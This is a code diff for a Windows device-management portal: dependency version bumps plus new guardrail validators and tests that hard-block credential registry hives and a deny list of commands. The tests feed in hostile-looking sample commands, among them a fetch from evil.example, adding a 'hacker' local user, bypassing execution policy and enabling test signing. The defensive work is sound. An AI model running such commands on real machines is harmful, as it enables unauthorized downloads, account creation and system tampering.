"resolved": "https://registry.npmjs.org/@next/bundle-analyzer/-/bundle-analyzer-16.2.12.tgz",
|
||||
"integrity": "sha512-0dYhmCYsTMFYUFaoEUx+VKw/oYP6b3XiGgq47EujXTE2UGgwVWAaur2tbko2pxfUka3WRZ9YWxa3PlSv3luWNQ==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/bundle-analyzer/-/bundle-analyzer-16.3.0.tgz",
|
||||
"integrity": "sha512-o8OiXKIATcSC6kHm5BIEmaDEDTFUDhpy9POQIbzAQTlb8NWwFhEQheTLFSbyQXxH2ywhjZ/e8EUlbOjj2k22Yg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
@@ -1368,25 +1368,26 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-16.2.12.tgz",
|
||||
"integrity": "sha512-d0Z5Bc13Fa4nR8pFAKx2jay2yhJM16vlfHbTzYnUQAxlNb6B6lmn4hjt69lYNt4kRtyYP6gEM49lPRHNbIyneg==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-16.3.0.tgz",
|
||||
"integrity": "sha512-o9r1S0BNiNreHP9Vs+Qnqd9kviDkJh8xIACY7UFZSmiGbbQRzPBBosvHzAU4TULHOIuOj/18RSsyz2qrREmIFw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@next/eslint-plugin-next": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/eslint-plugin-next/-/eslint-plugin-next-16.2.12.tgz",
|
||||
"integrity": "sha512-uF2z/qAK2q7B5/6CpnFcBRX6jOq5iCO+Uqh1UkJhXljX1JwLarLYhhoJadO6dPb6moTprOKewMXheBcbIoSbug==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/eslint-plugin-next/-/eslint-plugin-next-16.3.0.tgz",
|
||||
"integrity": "sha512-OqgJ8PN0d04KcPhDX/PTY5tJUJZxlbrt7O7FBsm4XE0XW2JDrKnDXsc9uo9WUimJGPoo2j+JRGhyXApC//mvbw==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@eslint-community/eslint-utils": "4.9.1",
|
||||
"fast-glob": "3.3.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-arm64": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-16.2.12.tgz",
|
||||
"integrity": "sha512-0W1R0teHWJrqKX0FH20IzzIWAOuGtBxPGuObrxy1lE8hQvCFj49KE8a3WUg0D7sq6rn6zkM4c7YGUnhudBS6oA==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-16.3.0.tgz",
|
||||
"integrity": "sha512-55hpqq18bEVAlxedlTt3tFqZmKg2nUXT1kn1G/BGEy0R13h3LwtwHPVzzjG6P4LLeOHE32PFDQUVaJEWvBEZBw==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -1400,9 +1401,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-darwin-x64": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-16.2.12.tgz",
|
||||
"integrity": "sha512-Hy5Ls099+aFUmOLmIgPfLqNi6iCwhL3uQCssz5rWk+5Nkc6TUKCE83DY5BbNylfm3+mfwcSFnLRfrZDJhVxdtw==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-16.3.0.tgz",
|
||||
"integrity": "sha512-SOi96kSaF5T+0wW4koiM1bWzSPwjzTesC1p3df+FjdOi5LIQkBK/blxh7HdoKnNuI4PURF1OO7TZqtfnbWDSgw==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
@@ -1416,12 +1417,15 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-gnu": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-16.2.12.tgz",
|
||||
"integrity": "sha512-+YqU2h1cQkHsGfvjAsrSmst8UIFBibBGm5x3Xgel8NLMiDQtNOM4sM2GOEMvG5YiOBNeN/Ykk8cQC2S0Xrqljg==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-16.3.0.tgz",
|
||||
"integrity": "sha512-P0gZAoPMF4dyTRzhmkV4PrqVzSOB6t4mC1oI3c4dqijJ+OVEVx5clIXAKR4/uQpsqw2KKM/0D5tVumcR2r5blg==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1432,12 +1436,15 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-arm64-musl": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-16.2.12.tgz",
|
||||
"integrity": "sha512-0qjhiYBaKAqF63LA1ZWAAnKTzFUguAaZiRa5etMLGGPj/B6uEVjtIZldIzFEp3wHlB0koK6aTzqPtSdplTCjoA==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-16.3.0.tgz",
|
||||
"integrity": "sha512-tXXGKJw0m37O0eKJARVTX/TheKPhz0QFVtVVZXmOig+9YKLQOSP6hvf2pxv5DO7CLEJyTHx3Pg043CDQkv1G4Q==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1448,12 +1455,15 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-gnu": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-16.2.12.tgz",
|
||||
"integrity": "sha512-7A3q26W+h7gnA15uqBToNuDqBEFZZcqh0mW2mn4AJh/G5pdg2RVE3n4slzLEliASZFG3NmsbEzng/x2Sh09mBg==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-16.3.0.tgz",
|
||||
"integrity": "sha512-pjGxK5EY7yWml78ALejFkWmgHsU7wbFQrISiugpH6FbUJhgEvw3xFZ/EBAtLl7QtL0WdQKiG9eWJ3mOKGTukHw==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1464,12 +1474,15 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-linux-x64-musl": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-16.2.12.tgz",
|
||||
"integrity": "sha512-qSjL/uppm+cbh21s72Ss8gkiOhQ4dExWHNGOWy6eZV7STj5WsKehgxT61beSsOj+YYQuTplL376lOCdMQU5T8w==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-16.3.0.tgz",
|
||||
"integrity": "sha512-sjo++Xx+lomlPs3HRsHWhVDyGG6ms1kGW5EtHLERdII8AyG1i+f6aq68xHREO6AEMlhjTNEWBSmfJfqm9orf7g==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1480,9 +1493,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@next/swc-win32-arm64-msvc": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-16.2.12.tgz",
|
||||
"integrity": "sha512-X6hzsOUJac/e7AWSbn9gQ9nzHld1xWP5iyjHpYWvud8pufB679O1xg4JDyKr8Xd69Jvd+kM2Der6uftiZCmjYA==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-16.3.0.tgz",
|
||||
"integrity": "sha512-C5JSgiO54wURdaxdEUIXqkz04uMqC9UmPX1gtDrV/5Tf1UowdWYI8uA5hfFbPolTlp0q4KZ60xlHePNibf0VIw==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
@@ -2046,9 +2059,9 @@
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/leaflet": {
|
||||
"version": "1.9.21",
|
||||
"resolved": "https://registry.npmjs.org/@types/leaflet/-/leaflet-1.9.21.tgz",
|
||||
"integrity": "sha512-TbAd9DaPGSnzp6QvtYngntMZgcRk+igFELwR2N99XZn7RXUdKgsXMR+28bUO0rPsWp8MIu/f47luLIQuSLYv/w==",
|
||||
"version": "1.9.22",
|
||||
"resolved": "https://registry.npmjs.org/@types/leaflet/-/leaflet-1.9.22.tgz",
|
||||
"integrity": "sha512-h3lhECYEKDasG7LFHu+GiHqAvsgLuQvlJvVZzJDGONo3sEL+wUOqSFLnwkZlK0qVxnxbuGFW8iBlJNYs5wgndA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/geojson": "*"
|
||||
@@ -4203,13 +4216,13 @@
|
||||
}
|
||||
},
|
||||
"node_modules/eslint-config-next": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/eslint-config-next/-/eslint-config-next-16.2.12.tgz",
|
||||
"integrity": "sha512-iaaf4vvKo5h2LBdGt0JuRv7t0Ysqr9FMCiFxbptDg8LqOE//mIKR80DdpOnSVM7qjLH3jT8P0aFiwXxBEGZRXw==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/eslint-config-next/-/eslint-config-next-16.3.0.tgz",
|
||||
"integrity": "sha512-lPrf1kHsMJEZqO0uXkNB400c5MGrhrTk3BNX7P0ol4gt61+iUlQfjy9TyIOEA9eOXrf+5+mYbT/JsY8+zqUByQ==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@next/eslint-plugin-next": "16.2.12",
|
||||
"@next/eslint-plugin-next": "16.3.0",
|
||||
"eslint-import-resolver-node": "^0.3.6",
|
||||
"eslint-import-resolver-typescript": "^3.5.2",
|
||||
"eslint-plugin-import": "^2.32.0",
|
||||
@@ -5690,9 +5703,9 @@
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/js-yaml": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz",
|
||||
"integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==",
|
||||
"version": "4.3.1",
|
||||
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.1.tgz",
|
||||
"integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==",
|
||||
"dev": true,
|
||||
"funding": [
|
||||
{
|
||||
@@ -6254,9 +6267,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/nanoid": {
|
||||
"version": "3.3.16",
|
||||
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz",
|
||||
"integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==",
|
||||
"version": "3.3.18",
|
||||
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.18.tgz",
|
||||
"integrity": "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
@@ -6295,16 +6308,16 @@
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/next": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-16.2.12.tgz",
|
||||
"integrity": "sha512-iD59eYQWmbFcEbX7v/acG5DRym9iw1DdaPoD0WTA920naWsE25wShzJW4+UvAs8MK9EC2kBfIH6vtto1H1PHGw==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/next/-/next-16.3.0.tgz",
|
||||
"integrity": "sha512-NEdGOzH+08eTXMUp9UYkA99Nhi5N6Thrhc1jgFOQgfgnGK/dA2hRwBpXep+exdFQrnwlRf/3Wixyp8lLBUpE2A==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@next/env": "16.2.12",
|
||||
"@next/env": "16.3.0",
|
||||
"@swc/helpers": "0.5.15",
|
||||
"baseline-browser-mapping": "^2.9.19",
|
||||
"caniuse-lite": "^1.0.30001579",
|
||||
"postcss": "8.4.31",
|
||||
"postcss": "8.5.23",
|
||||
"styled-jsx": "5.1.6"
|
||||
},
|
||||
"bin": {
|
||||
@@ -6314,15 +6327,15 @@
|
||||
"node": ">=20.9.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@next/swc-darwin-arm64": "16.2.12",
|
||||
"@next/swc-darwin-x64": "16.2.12",
|
||||
"@next/swc-linux-arm64-gnu": "16.2.12",
|
||||
"@next/swc-linux-arm64-musl": "16.2.12",
|
||||
"@next/swc-linux-x64-gnu": "16.2.12",
|
||||
"@next/swc-linux-x64-musl": "16.2.12",
|
||||
"@next/swc-win32-arm64-msvc": "16.2.12",
|
||||
"@next/swc-win32-x64-msvc": "16.2.12",
|
||||
"sharp": "^0.34.5"
|
||||
"@next/swc-darwin-arm64": "16.3.0",
|
||||
"@next/swc-darwin-x64": "16.3.0",
|
||||
"@next/swc-linux-arm64-gnu": "16.3.0",
|
||||
"@next/swc-linux-arm64-musl": "16.3.0",
|
||||
"@next/swc-linux-x64-gnu": "16.3.0",
|
||||
"@next/swc-linux-x64-musl": "16.3.0",
|
||||
"@next/swc-win32-arm64-msvc": "16.3.0",
|
||||
"@next/swc-win32-x64-msvc": "16.3.0",
|
||||
"sharp": "^0.35.3"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@opentelemetry/api": "^1.1.0",
|
||||
@@ -6348,9 +6361,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/next/node_modules/@next/swc-win32-x64-msvc": {
|
||||
"version": "16.2.12",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-16.2.12.tgz",
|
||||
"integrity": "sha512-F6fakeHuFTLOPt0bslQJdf+xtT+WIP9DVn/m4y1w1mRnVPyh3D/cNvzlRkxM444xfm+IvvYNSOrKiA2CDJ0Uxw==",
|
||||
"version": "16.3.0",
|
||||
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-16.3.0.tgz",
|
||||
"integrity": "sha512-fDOggsweNb5SSw0ZKVk6U+gxSyGFFlIBY/LBc1r8GUj4u/6t6oArL+Pmkg0MBnsgR+KkdsURilVH4F3GXUGepA==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
||||
@@ -18,27 +18,27 @@
|
||||
"@azure/msal-browser": "^4.30.0",
|
||||
"@azure/msal-react": "^3.0.29",
|
||||
"@microsoft/applicationinsights-web": "^3.4.3",
|
||||
"@microsoft/signalr": "^10.0.0",
|
||||
"@types/leaflet": "^1.9.21",
|
||||
"@microsoft/signalr": "^10.0.11",
|
||||
"@types/leaflet": "^1.9.22",
|
||||
"@xyflow/react": "^12.11.2",
|
||||
"dagre": "^0.8.5",
|
||||
"fflate": "^0.8.3",
|
||||
"leaflet": "^1.9.4",
|
||||
"next": "^16.2.12",
|
||||
"next": "^16.3.0",
|
||||
"react": "^19.2.8",
|
||||
"react-dom": "^19.2.8",
|
||||
"react-leaflet": "^5.0.0",
|
||||
"recharts": "^2.15.4"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@next/bundle-analyzer": "^16.2.12",
|
||||
"@next/bundle-analyzer": "^16.3.0",
|
||||
"@types/dagre": "^0.7.54",
|
||||
"@types/node": "^22.20.1",
|
||||
"@types/react": "^19",
|
||||
"@types/react-dom": "^19",
|
||||
"autoprefixer": "^10.5.4",
|
||||
"eslint": "^9.39.5",
|
||||
"eslint-config-next": "^16.2.12",
|
||||
"eslint-config-next": "^16.3.0",
|
||||
"postcss": "^8.5.12",
|
||||
"tailwindcss": "^3.4.17",
|
||||
"typescript": "^5.7.3",
|
||||
|
||||
@@ -158,6 +158,17 @@ describe("validateFileTarget", () => {
|
||||
);
|
||||
expect(r.allowed).toBe(false);
|
||||
});
|
||||
|
||||
// Mirrors the agent's AdditionalHardBlockedPathPrefixes (SAM/SECURITY/SYSTEM hives).
|
||||
it("blocks C:\\Windows\\System32\\config even in unrestricted mode", () => {
|
||||
expect(validateFileTarget("C:\\Windows\\System32\\config\\SAM", false).allowed).toBe(false);
|
||||
expect(validateFileTarget("C:\\Windows\\System32\\config\\SAM", true).allowed).toBe(false);
|
||||
});
|
||||
|
||||
it("does not block sibling System32 paths outside \\config", () => {
|
||||
const r = validateFileTarget("C:\\Windows\\System32\\configX\\file.log", true);
|
||||
expect(r.allowed).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -254,6 +265,33 @@ describe("validateCommandTarget", () => {
|
||||
const r = validateCommandTarget("", false);
|
||||
expect(r.allowed).toBe(false);
|
||||
});
|
||||
|
||||
// Hard guards mirror GatherRuleGuards.IsCommandAllowed: they apply even in
|
||||
// unrestricted mode — the agent blocks these on-device regardless, and the
|
||||
// portal badge must never show "Allowed" for them.
|
||||
it.each([
|
||||
"Invoke-WebRequest -Uri https://evil.example/x",
|
||||
"invoke-webrequest -uri https://evil.example/x",
|
||||
"Get-Tpm; Set-ExecutionPolicy Bypass",
|
||||
"cmd /c net user hacker P@ss /add",
|
||||
"bcdedit /set testsigning on",
|
||||
])("blocks hard-blocked pattern even in unrestricted mode: %s", (cmd) => {
|
||||
expect(validateCommandTarget(cmd, false).allowed).toBe(false);
|
||||
const unrestricted = validateCommandTarget(cmd, true);
|
||||
expect(unrestricted.allowed).toBe(false);
|
||||
expect(unrestricted.unrestricted).toBe(false);
|
||||
});
|
||||
|
||||
it("blocks over-length command even in unrestricted mode", () => {
|
||||
const longCmd = "Get-Something " + "a".repeat(2100);
|
||||
expect(validateCommandTarget(longCmd, false).allowed).toBe(false);
|
||||
expect(validateCommandTarget(longCmd, true).allowed).toBe(false);
|
||||
});
|
||||
|
||||
it("still allows allowlisted commands containing no blocked pattern", () => {
|
||||
// "certutil -store My" must not be caught by the "certutil -urlcache" pattern.
|
||||
expect(validateCommandTarget("certutil -store My", false).allowed).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -341,6 +379,15 @@ describe("validateDiagnosticsPath", () => {
|
||||
);
|
||||
expect(r.allowed).toBe(false);
|
||||
});
|
||||
|
||||
it("blocks C:\\Windows\\System32\\config even in unrestricted mode", () => {
|
||||
expect(validateDiagnosticsPath("C:\\Windows\\System32\\config\\SYSTEM", true).allowed).toBe(false);
|
||||
});
|
||||
|
||||
it("still allows the winevt log directory next to \\config", () => {
|
||||
const r = validateDiagnosticsPath("C:\\Windows\\System32\\winevt\\Logs\\System.evtx", false);
|
||||
expect(r.allowed).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
@@ -15,6 +15,8 @@ import {
|
||||
BLOCKED_FILE_PREFIXES,
|
||||
ALLOWED_EVENT_LOG_CHANNELS,
|
||||
BLOCKED_EVENT_LOG_CHANNELS,
|
||||
BLOCKED_COMMAND_PATTERNS,
|
||||
MAX_COMMAND_LENGTH,
|
||||
} from "./guardrails.generated";
|
||||
|
||||
// Re-export for consumers that imported from here
|
||||
@@ -62,7 +64,18 @@ for (const entry of ALLOWED_WMI_QUERY_PREFIXES) {
|
||||
}
|
||||
}
|
||||
|
||||
const BLOCKED_USERS_PREFIX = BLOCKED_FILE_PREFIXES[0] || "C:\\Users";
|
||||
const BLOCKED_USERS_PREFIX = "C:\\Users";
|
||||
|
||||
// Hard-blocked path prefixes beyond C:\Users (e.g. C:\Windows\System32\config —
|
||||
// SAM/SECURITY/SYSTEM hives). No user-profile exception applies to these.
|
||||
const ADDITIONAL_BLOCKED_FILE_PREFIXES = BLOCKED_FILE_PREFIXES.filter(
|
||||
(p) => p.toLowerCase() !== BLOCKED_USERS_PREFIX.toLowerCase()
|
||||
);
|
||||
|
||||
/** Returns the hard-blocked prefix (beyond C:\Users) covering the path, if any. */
|
||||
function findAdditionalBlockedPrefix(normalizedDir: string): string | undefined {
|
||||
return ADDITIONAL_BLOCKED_FILE_PREFIXES.find((b) => matchesPrefix(normalizedDir, b, "\\"));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Common Windows environment variables (for client-side expansion)
|
||||
@@ -260,8 +273,14 @@ export function validateFileTarget(
|
||||
return { allowed: false, reason: "C:\\Users is always blocked (privacy protection)", unrestricted: false };
|
||||
}
|
||||
|
||||
// Additional hard-blocked paths (even in unrestricted mode)
|
||||
const hardBlockedFile = findAdditionalBlockedPrefix(normalizedDir);
|
||||
if (hardBlockedFile) {
|
||||
return { allowed: false, reason: `${hardBlockedFile} is always blocked (protected system path)`, unrestricted: false };
|
||||
}
|
||||
|
||||
if (unrestrictedMode) {
|
||||
return { allowed: true, reason: "All file paths allowed in unrestricted mode (except C:\\Users)", unrestricted: true };
|
||||
return { allowed: true, reason: "All file paths allowed in unrestricted mode (except blocked system paths)", unrestricted: true };
|
||||
}
|
||||
|
||||
for (const prefix of ALLOWED_FILE_PREFIXES) {
|
||||
@@ -325,6 +344,26 @@ export function validateCommandTarget(
|
||||
return { allowed: false, reason: "No command provided", unrestricted: false };
|
||||
}
|
||||
|
||||
// Hard guards apply even in unrestricted mode (mirrors GatherRuleGuards.IsCommandAllowed):
|
||||
// length cap and blocked-pattern scan run on the raw command, before any allowlist check.
|
||||
if (target.length > MAX_COMMAND_LENGTH) {
|
||||
return {
|
||||
allowed: false,
|
||||
reason: `Command exceeds the ${MAX_COMMAND_LENGTH}-character limit (always blocked)`,
|
||||
unrestricted: false,
|
||||
};
|
||||
}
|
||||
|
||||
const targetLower = target.toLowerCase();
|
||||
const blockedPattern = BLOCKED_COMMAND_PATTERNS.find((p) => targetLower.includes(p.toLowerCase()));
|
||||
if (blockedPattern) {
|
||||
return {
|
||||
allowed: false,
|
||||
reason: `Contains "${blockedPattern}" — blocked even in unrestricted mode`,
|
||||
unrestricted: false,
|
||||
};
|
||||
}
|
||||
|
||||
if (unrestrictedMode) {
|
||||
return { allowed: true, reason: "All commands allowed in unrestricted mode", unrestricted: true };
|
||||
}
|
||||
@@ -384,8 +423,14 @@ export function validateDiagnosticsPath(
|
||||
return { allowed: false, reason: "C:\\Users is always blocked (privacy protection)", unrestricted: false };
|
||||
}
|
||||
|
||||
// Additional hard-blocked paths (even in unrestricted mode)
|
||||
const hardBlockedDiag = findAdditionalBlockedPrefix(normalizedDir);
|
||||
if (hardBlockedDiag) {
|
||||
return { allowed: false, reason: `${hardBlockedDiag} is always blocked (protected system path)`, unrestricted: false };
|
||||
}
|
||||
|
||||
if (unrestrictedMode) {
|
||||
return { allowed: true, reason: "All paths allowed in unrestricted mode (except C:\\Users)", unrestricted: true };
|
||||
return { allowed: true, reason: "All paths allowed in unrestricted mode (except blocked system paths)", unrestricted: true };
|
||||
}
|
||||
|
||||
for (const prefix of ALLOWED_DIAGNOSTICS_PATH_PREFIXES) {
|
||||
|
||||
@@ -315,6 +315,7 @@ export const ALLOWED_DIAGNOSTICS_PATH_PREFIXES: readonly string[] = [
|
||||
|
||||
export const BLOCKED_FILE_PREFIXES: readonly string[] = [
|
||||
"C:\\Users",
|
||||
"C:\\Windows\\System32\\config",
|
||||
];
|
||||
|
||||
export const ALLOWED_EVENT_LOG_CHANNELS: readonly string[] = [
|
||||
@@ -356,3 +357,25 @@ export const BLOCKED_EVENT_LOG_CHANNELS: readonly string[] = [
|
||||
"Windows PowerShell",
|
||||
"Microsoft-Windows-Sysmon",
|
||||
];
|
||||
|
||||
export const BLOCKED_COMMAND_PATTERNS: readonly string[] = [
|
||||
"Invoke-WebRequest",
|
||||
"Invoke-RestMethod",
|
||||
"Start-BitsTransfer",
|
||||
"wget",
|
||||
"curl",
|
||||
"certutil -urlcache",
|
||||
"New-LocalUser",
|
||||
"Add-LocalGroupMember",
|
||||
"net user",
|
||||
"net localgroup",
|
||||
"bcdedit",
|
||||
"bcdboot",
|
||||
"schtasks /create",
|
||||
"Register-ScheduledTask",
|
||||
"Remove-Item -Recurse",
|
||||
"Format-Volume",
|
||||
"Set-ExecutionPolicy",
|
||||
];
|
||||
|
||||
export const MAX_COMMAND_LENGTH = 2000;
|
||||
|
||||
Reference in New Issue
Block a user